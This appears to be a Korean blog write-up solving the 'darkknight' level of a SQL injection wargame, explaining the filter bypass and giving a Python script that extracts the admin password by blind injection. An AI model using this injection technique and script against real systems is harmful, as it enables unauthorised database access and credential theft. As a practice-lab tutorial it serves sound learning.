[LOS] SQL Injection 풀이 (darkknight)
필터링된 문자
no라는 입력값에 필터링된 문자
prob
_
.
()
'
substr
ascii
우선 이문제를 해결하기 위해서는 pw와 no의 필터링의 차이를 봐야한다. pw 같은 경우 '를 사용하지 못하도록 되어있는데 이것이 생기면 문제점이 하나 있다. 우선 따옴표를 못넣어서 pw라는 문장에 끝을 못만든 다는 것이다
예시로 아래와 같은 쿼리문이 있다고 보자 그러면 '를 못사용하니 문장을 못 닫아서 전체 문장이 문자열 처리되어 버리는 것이다. 즉 연산자를 이용해 거짓을 참으로 만드는 것이 안되는 것이다. 그에반에 no의 경우 필터링 되는 것은 많지만 ' 가 no라는 입력에 없기 때문에 pw 보다는 좀더 수월하게 우회가 가능하다.
select id from prob_darkknight where id='guest' and pw=' " " or id="admin"#
import requests
url='https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php'
cookies={'PHPSESSID':'pn5rbt2lp2gfnrk9fo9df7mjtr'}
pw_str=''
for position in range(1,9):
for find_pw in range(33,127):
value = '"x" or id like "admin" and ord(mid(pw,{},1)) like {}#'.format(position,find_pw)
parameter={'no':value}
res = requests.get(url, params=parameter, cookies=cookies)
if("Hello admin" in res.text):
pw_str+=chr(find_pw)
print(res.text)
print("pw=", pw_str)
break
print("Found all pw=",pw_str)
'Coding > Wargame' 카테고리의 다른 글
SQL Injection bypass(우회) 방법 정리 (0) | 2022.06.13 |
---|---|
[LOS] SQL Injection 풀이 (bugbear) (0) | 2022.06.12 |
[LOS] SQL Injection 풀이 (golem) (0) | 2022.06.10 |
[LOS] SQL Injection 풀이 (orge) (0) | 2022.06.08 |
[LOS] SQL Injection 풀이 (wolfman, darkelf) (0) | 2022.06.07 |